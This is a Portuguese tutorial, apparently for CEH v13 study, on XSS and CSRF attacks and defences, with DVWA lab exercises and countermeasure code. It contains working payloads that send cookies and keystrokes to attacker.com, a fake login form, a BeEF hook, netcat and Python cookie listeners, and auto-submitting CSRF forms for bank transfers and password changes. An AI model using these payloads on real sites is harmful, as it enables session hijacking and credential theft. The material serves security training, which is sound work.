XSS e CSRF: Exploração e Defesa em Aplicações Web
Duas das vulnerabilidades mais prevalentes e exploradas em aplicações web são o Cross-Site Scripting (XSS) e o Cross-Site Request Forgery (CSRF). Juntas, representam uma parcela significativa dos ataques bem-sucedidos contra plataformas web em produção. O CEH v13 dedica atenção considerável a ambas — não apenas à mecânica de exploração, mas às contra-medidas que todo pentester deve saber avaliar.
Este artigo cobre cada vetor em profundidade: como funcionam, como são explorados, como contornar defesas existentes e, fundamentalmente, como defendê-los. O tom é hands-on — os exemplos refletem cenários reais de pentest.
Cross-Site Scripting (XSS)
O que é
Cross-Site Scripting é uma vulnerabilidade que permite a um atacante injetar JavaScript malicioso em páginas web que são servidas a outros usuários. O código executado roda no contexto da origem (origin) da aplicação vulnerável — o que significa que o script malicioso tem acesso aos cookies, ao DOM, ao localStorage e a qualquer recurso que a vítima teria acesso naquele domínio.
A confusão no nome é intencional e histórica: a sigla seria “CSS”, mas isso conflitaria com Cascading Style Sheets. Logo, “XSS” — o X representando “cross”. A ironia é que o ataque acontece dentro do mesmo site, não entre sites. O “cross” se refere ao fato de que o script malicioso é originado por um terceiro mas executado em contexto de primeira parte (first-party).
Impacto real
O XSS é frequentemente subestimado como “apenas roubo de cookie”. Na realidade, o impacto é amplo:
- Cookie stealing e session hijacking — capturar cookies de sessão e assumir a identidade da vítima.
- Defacement — alterar o conteúdo visual da página (substituir logos, mensagens, redirecionar).
- Phishing in-page — injetar formulários falsos que parecem legítimos, capturando credenciais.
- Keylogging — registrar cada tecla digitada pela vítima na página.
- Crypto mining — injetar scripts de mineração (CoinHive) que usam a CPU da vítima.
- Redirecionamento — enviar a vítima para sites maliciosos.
- DOM manipulation — ler/modificar dados sensíveis renderizados na página (tokens, dados pessoais).
Tipos de XSS
XSS Refletido (Non-Persistent)
No XSS refletido, o payload é enviado via request (URL parameter, formulário) e refletido na resposta do servidor sem sanitização adequada. O script aparece no HTML retornado e executa no browser da vítima.
Exemplo clássico — campo de busca vulnerável:
# Request normal
GET /search?q=celular HTTP/1.1
# Response com o termo refletido sem sanitização
<p>Resultados para: celular</p>
# Request com payload XSS
GET /search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
# Response — o payload é renderizado como HTML válido e executado
<p>Resultados para: <script>document.location='http://attacker.com/steal?c='+document.cookie</script></p>
O atacante precisa convencer a vítima a clicar no link com o payload — daí a necessidade de engenharia social: email com link truncado, post em fórum, redirecionamento de URL curta. Um link como https://site.com/search?q=<script>...</script> é suspeito, então atacantes avançados usam encoding para disfarçar:
# URL encoding
https://site.com/search?q=%3Cscript%3Edocument.location%3D'http%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E
# HTML entity encoding (quando o input é refletido dentro de atributos)
https://site.com/search?q="><script>alert(1)</script>
XSS Armazenado (Persistent / Stored)
No XSS armazenado, o payload é persistido no servidor — em um comentário, post de fórum, perfil de usuário, mensagem de chat, review de produto. Qualquer usuário que visitar a página afetada executa o script automaticamente, sem necessidade de interação com o atacante.
# Atacante posta um comentário em um blog vulnerável
POST /comment
Content-Type: application/x-www-form-urlencoded
post_id=42&comment=Ótimo artigo!<script>new Image().src="http://attacker.com/log?c="+document.cookie</script>&author=Usuário
# Qualquer visitante que carregar a página do post 42
# terá o script executado no seu browser — silenciosamente
Este é o tipo mais perigoso de XSS porque:
- Não requer engenharia social — a vítima só precisa visitar a página.
- O payload pode atingir todos os visitantes, não um alvo específico.
- Persiste até ser removido manualmente ou o bug ser corrigido.
XSS Baseado em DOM (DOM-based XSS)
No XSS baseado em DOM, a vulnerabilidade está inteiramente no JavaScript client-side. O payload nunca vai para o servidor — é processado diretamente pelo browser. A fonte (source) do dado malicioso é lida do DOM e passada para um sink perigoso sem sanitização.
Sources comuns:
document.locationdocument.URLdocument.referrerwindow.namelocation.hashdocument.cookie
Sinks perigosos:
document.write()innerHTMLouterHTMLeval()setTimeout()/setInterval()com stringFunction()
// Aplicação vulnerável — lê fragment da URL e escreve no DOM
var greeting = decodeURIComponent(window.location.hash.substring(1));
document.getElementById("greeting").innerHTML = greeting;
// URL maliciosa
https://site.com/page#<img src=x onerror=alert(document.cookie)>
// O browser renderiza: <div id="greeting"><img src=x onerror=alert(document.cookie)></div>
// Resultado: execução do payload XSS sem nenhum envio ao servidor
A dificuldade de detectar DOM-based XSS é que ferramentas de scan tradicionais não capturam — o payload nunca aparece no tráfego HTTP. Ferramentas como o DOMPurify e análise estática de código são necessárias.
XSS — Payloads Comuns
Cookie Stealing
// Redirecionamento silencioso para servidor do atacante com cookie
document.location='http://attacker.com/steal?c='+document.cookie;
// Alternativa com Image (não redireciona — mais discreto)
new Image().src='http://attacker.com/log?c='+document.cookie;
// Fetch API (moderno)
fetch('http://attacker.com/log', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie}),
mode: 'no-cors'
});
Keylogger
// Captura cada tecla e envia ao servidor
document.onkeypress = function(e) {
fetch('http://attacker.com/log', {
method: 'POST',
body: 'key=' + e.key
});
};
Defacement
// Substitui todo o conteúdo da página
document.body.innerHTML = '<h1 style="text-align:center;color:red;margin-top:20%">Hacked by Attacker</h1>';
// Altera logo da página
document.querySelector('.logo').src = 'http://attacker.com/fake-logo.png';
Phishing In-Page
// Injeta formulário de login falso sobre a página legítima
var form = document.createElement('form');
form.action = 'http://attacker.com/phish';
form.method = 'POST';
form.innerHTML = '<h3>Sessão expirada. Faça login novamente.</h3>' +
'<input name="user" placeholder="Email"><br>' +
'<input name="pass" type="password" placeholder="Senha"><br>' +
'<button type="submit">Entrar</button>';
document.body.innerHTML = '';
document.body.appendChild(form);
Crypto Mining
// Injeta script de mineração CoinHive (histórico, já descontinuado mas o conceito persiste)
var s = document.createElement('script');
s.src = '';
document.head.appendChild(s);
// Monero mining silencioso usando CPU do visitante
Bypass de Content Security Policy (CSP)
A Content Security Policy (CSP) é a principal defesa contra XSS. Ela restringe quais recursos (scripts, estilos, imagens, frames) podem ser carregados em uma página, definidos via header HTTP Content-Security-Policy.
Exemplo de CSP restritiva:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.site.com; style-src 'self' 'unsafe-inline'
Mas CSP não é silver bullet. Técnicas de bypass são tema obrigatório no CEH:
- JSONP endpoints: muitos CDNs antigos oferecem endpoints JSONP que retornam dados dentro de callbacks controláveis (
?callback=alert(1)//). Se o domínio do CDN estiver na whitelist do CSP, o script executa. - data: URI: se o CSP permite
data:como source, payloads comodata:text/html,<script>alert(1)</script>funcionam. - Base64 encoding: atenua filtros de WAF mas não de CSP por si só — contudo, combinado com JSONP ou CDN poisoning, cria vetores exploráveis.
- Nonce reuse ou previsível: se o nonce (valor único por request) for gerado de forma previsível ou reutilizado, o atacante pode adivinhar ou reutilizar um nonce válido.
- Dangling markup injection: quando o input é refletido sem sanitização dentro de um atributo, o atacante pode “abrir” a tag e injetar markup que extrai dados da página seguinte. Ex:
"><base href="http://attacker.com/faz com que URLs relativas da página apontem para o servidor do atacante. - CDN poisoning: se um script na whitelist CDN for controlável (ex: versão desatualizada com vulnerabilidade), o atacante explora a cadeia de suprimento.
- Script gadgets: bibliotecas legítimas na whitelist que contêm funções perigosas. O atacante chama
angular.element(document).injector().get('$http')...por exemplo.
Cross-Site Request Forgery (CSRF)
O que é
CSRF é um ataque onde um site malicioso (site A) induz o browser da vítima a enviar uma request autenticada para um site legítimo (site B) sem que a vítima saiba. A request é feita com as credenciais já existentes — cookies de sessão, certificados client, HTTP auth — que o browser anexa automaticamente.
O servidor alvo não consegue distinguir uma request legítima (originada pela vítima navegando no site B) de uma request forjada (originada pelo site A). Tudo parece normal: o cookie de sessão está presente, o header de referer pode ser omitido, a request segue a mesma estrutura.
Exemplo clássico — transferência bancária
<!-- Site do atacante (evil.com) -->
<html>
<body>
<!-- Formulário oculto com auto-submit -->
<form id="csrf" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
A vítima visita evil.com. O formulário é submetido automaticamente para bank.com/transfer. O browser anexa o cookie de sessão da vítima no bank.com. Se a vítima estiver logada no banco, a transferência é processada normalmente.
CSRF — Técnicas de Exploração
Formulário Oculto (POST-based)
O método mais comum. O atacante cria um formulário HTML com campos hidden e submete via JavaScript automaticamente. Funciona com qualquer método HTTP que o browser suporte via formulário (GET e POST).
<form action="https://target.com/admin/delete_user" method="POST">
<input type="hidden" name="user_id" value="42">
<input type="hidden" name="confirm" value="yes">
</form>
<script>document.forms[0].submit();</script>
GET-based CSRF
Se a ação sensível aceita GET, o ataque é trivial — basta uma imagem, link ou iframe:
<!-- Mais simples possível -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- Via iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=1000" style="display:none"></iframe>
Por isso, o CEH enfatiza: ações com efeitos colaterais (state-changing) nunca devem usar GET. GET deve ser safe e idempotente.
JSON Content-Type e CORS
Muitas APIs modernas aceitam JSON via POST. O problema: um formulário HTML padrão envia application/x-www-form-urlencoded, não JSON. Tentar enviar JSON via formulário resulta no campo enviado como texto, não como JSON válido.
Solução do atacante: se o endpoint também aceita form-urlencoded (malconfiguração comum), o formulário funciona. Se o endpoint exige Content-Type: application/json, o atacante precisa explorar uma falha CORS:
// Se o servidor CORS permite qualquer origin
fetch('https://api.bank.com/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include', // anexa cookies
body: JSON.stringify({to: 'attacker', amount: 5000})
});
// Com Access-Control-Allow-Origin: * e Access-Control-Allow-Credentials: true
// Isso funciona — mas na prática * + credentials é bloqueado pelo browser
// O bypass real é quando o servidor reflete o Origin header:
// Access-Control-Allow-Origin: [origin dinâmico da request]
CSRF — Defesas e Bypass
Anti-CSRF Tokens (Synchronizer Token Pattern)
O servidor gera um token aleatório por sessão e o inclui em cada formulário. Quando o formulário é submetido, o token é validado no servidor. O atacante, operando de outro domínio, não tem acesso ao token por causa da Same-Origin Policy.
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a8f2c1d9e4b7...">
<input name="to">
<input name="amount">
</form>
SameSite Cookies
O atributo SameSite em cookies controla quando eles são enviados em requests cross-site:
- Strict — cookies NUNCA são enviados em requests cross-site. Máxima proteção, mas quebra funcionalidades como links de email ("abrir no app").
- Lax — cookies são enviados em navegação top-level via GET (links normais), mas NÃO em requests cross-site via POST, iframe, fetch com credentials. É o padrão moderno nos navegadores.
- None — cookies são enviados em qualquer contexto. Requer
Secure. Usado apenas quando necessário (embeds, SSO).
Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnly
Set-Cookie: session_id=abc123; SameSite=Lax; Secure; HttpOnly
Validação de Referer e Origin
O servidor verifica os headers Origin ou Referer da request e rejeita requests de origens não autorizadas:
# Header Origin ( enviado pelo browser em requests cross-origin)
Origin: https://evil.com
# Se o servidor espera Origin: https://bank.com e recebe https://evil.com → reject
Custom Headers
Requisitar um header customizado (ex: X-Requested-With: XMLHttpRequest) bloqueia requests cross-origin de formulários HTML — o browser não permite adicionar headers customizados em form submits sem um preflight CORS. Frameworks como Django e Rails fazem isso automaticamente em AJAX requests.
Double Submit Cookie
O servidor define um cookie CSRF e também espera o mesmo valor no body/header da request. Se o cookie é enviado e o header também, o servidor compara ambos. Atacante cross-site consegue enviar o cookie mas não consegue ler seu valor para colocá-lo no header (Same-Origin Policy).
Bypass de CSRF Defenses
- Predição de token: se o token anti-CSRF usa PRNG fraco, timestamp, ou é derivado de dados previsíveis (user ID + timestamp sem salt), o atacante pode gerá-lo independentemente.
- XSS como bypass: se o site alvo tem XSS, qualquer defesa CSRF é inútil — o script pode ler o token do DOM e incluí-lo na request forjada.
- CORS misconfiguration:
Access-Control-Allow-Originrefletindo o Origin do request permite requests cross-origin com credenciais. O atacante só precisa fazer a request do seu site. - Remoção do token via XSS: mesmo sem ler, o script pode remover a validação CSRF no client-side ou interceptar a request e reenviá-la.
Ferramentas
XSSer
Framework open-source automatizado para detecção e exploração de XSS. Suporta payloads customizados, fuzzing de parâmetros, encoding automático e bypass de WAF. Ideal para triagem rápida em grande volume de parâmetros:
xsser --url "https://target.com/search?q=XSS" --auto
xsser --url "https://target.com" --Fp "<script>alert(document.cookie)</script>" --De
BeEF — Browser Exploitation Framework
Uma vez que XSS é confirmado, BeEF é o próximo passo. O atacante injeta um hook script (<script src="http://attacker:3000/hook.js">) na página vulnerável. O browser da vítima se conecta ao painel do BeEF, que expõe módulos para:
- Keylogging e captura de clipboard.
- Redirecionamento silencioso para páginas de phishing.
- Escalation de XSS para RCE via exploits de browser/plugin.
- Scanning de redes internas (a vítima pode acessar redes que o atacante não consegue).
- Captura de histórico, cookies, credenciais de formulário.
O BeEF transforma um único XSS em uma plataforma completa de post-exploitation do browser.
Burp Suite
Ferramenta central de qualquer pentester web. No contexto XSS/CSRF:
- Scanner: detecta XSS automático (refletido e armazenado) e gera PoC.
- Intruder: fuzzing de parâmetros com payloads XSS de dicionários customizados.
- CSRF PoC Generator: gera página HTML auto-submetível a partir de qualquer request interceptada — botão direito na request → "Generate CSRF PoC".
- Repeater: testar manualmente payloads XSS e observar respostas.
OWASP ZAP
Alternativa open-source ao Burp Suite. Inclui scanner de XSS ativo e passivo, fuzzer, spider e gerador de relatórios. Ideal para quem precisa de ferramentas gratuitas sem limitações.
DVWA — Damn Vulnerable Web Application
Laboratório intencionalmente vulnerável. Os módulos XSS (Reflected, Stored, DOM) e CSRF permitem prática segura dos conceitos deste artigo. Docker disponível para setup instantâneo:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Acessar http://localhost → login admin/password
# Ir para DVWA Security → setar "low" para desabilitar proteções
Hands-on — Laboratório com DVWA
Exercício 1: Reflected XSS — Roubo de Cookie
Setup: Acesse o DVWA (Low Security), navegue até "XSS (Reflected)".
Passo 1 — Confirmar vulnerabilidade:
# No campo de input:
<script>alert('XSS confirmado')</script>
# Resultado: popup com a mensagem. O JavaScript foi executado.
Passo 2 — Construir payload de roubo de cookie:
# Payload completo (substitua IP pelo seu listener)
<script>new Image().src="http://192.168.1.100:8080/steal?c="+document.cookie</script>
# No servidor do atacante, iniciar listener:
nc -lvnp 8080
# ou usar Python:
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(f'[+] Cookie capturado: {self.path}')
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0', 8080), H).serve_forever()
"
Passo 3 — Entender a cadeia completa: A vítima clica no link, o script executa, o cookie PHPSESSID é enviado ao atacante. Com esse cookie, o atacante pode acessar a conta da vítima substituindo seu próprio cookie.
Exercício 2: Stored XSS — Guestbook
Setup: Navegue até "XSS (Stored)" no DVWA.
# No campo "Name":
<script>document.title='COMPROMETIDO'</script>
# No campo "Message":
<script>new Image().src="http://192.168.1.100:8080/stored?c="+document.cookie</script>
# Qualquer visitante que abrir a página XSS (Stored) terá:
# 1. O título da aba alterado
# 2. Seu cookie exfiltrado silenciosamente
A diferença fundamental: ninguém precisa clicar em link nenhum. A vulnerabilidade é automática e persistente.
Exercício 3: CSRF — Gerar PoC com Burp Suite
Setup: DVWA → "CSRF" (Low Security). O objetivo é mudar a senha do admin.
Passo 1 — Interceptar a request legítima:
# Com Burp Suite proxy ativo, alterar a senha:
POST /vulnerabilities/csrf/ HTTP/1.1
Host: dvwa
Content-Type: application/x-www-form-urlencoded
password_new=senha123&password_conf=senha123&Change=Change
Passo 2 — Gerar PoC: No Burp, botão direito na request interceptada → "Engagement tools" → "Generate CSRF PoC". O Burp gera um HTML pronto:
<html>
<body>
<form action="http://dvwa/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="password_new" value="hacked123" />
<input type="hidden" name="password_conf" value="hacked123" />
<input type="hidden" name="Change" value="Change" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Passo 3 — Testar: Salve o HTML, abra em outra aba com o DVWA logado como admin. A senha é alterada sem que o usuário perceba. Em "Medium Security", o DVWA adiciona um token anti-CSRF — tentar o mesmo PoC falha, demonstrando a eficácia da defesa.
Contra-medidas — XSS
Output Encoding (Context-Aware)
A defesa primária contra XSS é codificar a saída antes de renderizá-la. O encoding depende do contexto onde o dado é inserido:
- Contexto HTML body: codificar
<,>,&,",'como entidades HTML. - Contexto atributo HTML: codificar todos os caracteres acima +
`. - Contexto JavaScript: escaped Unicode para caracteres especiais. Nunca interpolar input diretamente em
<script>— usartextContentem vez deinnerHTML. - Contexto URL: usar
encodeURIComponent(). - Contexto CSS: escapar todos os caracteres não alfanuméricos.
Content Security Policy (CSP)
Implementar CSP restritiva como camada de defesa em profundidade:
# CSP recomendada (production)
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-$(RANDOM)';
style-src 'self';
img-src 'self';
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
Use nonces (valores únicos por request) em vez de hashes estáticos. Nunca use 'unsafe-inline' ou 'unsafe-eval' em produção — isso anula a proteção contra XSS inline.
HttpOnly Cookies
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
Marcar cookies como HttpOnly impede que JavaScript acesse document.cookie. Não previne XSS — mas elimina o roubo de cookie via document.cookie. O atacante ainda pode usar hooks (BeEF), mas a superfície de ataque é reduzida.
Input Validation (Whitelist)
Validar input no servidor é bom, mas insuficiente sozinho contra XSS — porque o dado malicioso pode vir de fontes não controláveis (headers, banco de dados corrompido). A validação deve ser whitelist (permitir apenas caracteres/formatos esperados), nunca blacklist (tentar bloquear payloads conhecidos — sempre falha).
DOMPurify
Para aplicações que precisam renderizar HTML rico (editores WYSIWYG), use a biblioteca DOMPurify para sanitizar o HTML no client-side:
// Sanitiza HTML removendo scripts e event handlers perigosos
const cleanHTML = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target']
});
document.getElementById('content').innerHTML = cleanHTML;
Contra-medidas — CSRF
Implementação em Camadas
Uma defesa robusta contra CSRF combina múltiplas camadas:
- Anti-CSRF tokens — padrão Synchronizer Token. Gerar token criptograficamente seguro por sessão (mínimo 128 bits de entropia). Validar em toda request state-changing. Frameworks modernos fazem isso automaticamente (Django
{% csrf_token %}, Railsprotect_from_forgery, Spring@CsrfProtection). - SameSite=Lax nos cookies de sessão — mínimo aceitável hoje. Compatível com links normais e evita a maioria dos ataques CSRF. Navegadores modernos usam Lax como padrão quando o atributo não é especificado.
- Verificação de Origin/Referer — camada adicional. Confira o header
Origine rejeite se não corresponder à lista de origens permitidas. Não dependa exclusivamente deste (headers podem ser omitidos em certos cenários). - Re-autenticação para ações sensíveis (transferência de valores, mudança de senha, exclusão de conta). Mesmo com CSRF token, pedir a senha novamente é defesa em profundidade.
- Custom headers — exigir
X-Requested-With: XMLHttpRequest(ou similar) em endpoints AJAX. Formulários HTML não conseguem enviar headers customizados sem preflight CORS.
# Exemplo de verificação no backend (Node.js/Express)
app.post('/transfer', (req, res) => {
// 1. Verificar Origin
const origin = req.headers.origin;
if (!['https://bank.com', 'https://app.bank.com'].includes(origin)) {
return res.status(403).json({error: 'Origin inválido'});
}
// 2. Verificar CSRF token
if (req.body.csrf_token !== req.session.csrfToken) {
return res.status(403).json({error: 'Token CSRF inválido'});
}
// 3. Verificar custom header (se AJAX)
if (!req.headers['x-requested-with']) {
return res.status(403).json({error: 'Header obrigatório ausente'});
}
// Processar transferência...
});
Resumo
XSS e CSRF são vulnerabilidades distintas com mecânicas diferentes, mas ambas exploram a confiança implícita que o browser tem na aplicação web. XSS injeta código executável; CSRF forja requests autenticadas. Ambas são mitigáveis com as defesas certas — mas continuam predominantes porque desenvolvedores falham em implementá-las consistentemente.
Para o CEH v13, o examinador espera que você saiba:
- Diferenciar os três tipos de XSS (refletido, armazenado, DOM-based).
- Construir payloads básicos de XSS para diferentes objetivos.
- Explicar como o CSP funciona e como pode ser contornado.
- Descrever o mecanismo do CSRF e gerar PoC.
- Listar contra-medidas para XSS e CSRF com detalhes técnicos.
- Usar ferramentas como Burp Suite e DVWA para demonstrar exploração.
A prática no DVWA e a construção manual de payloads consolidam o entendimento teórico — e esse é o diferencial entre passar e passar bem no exame.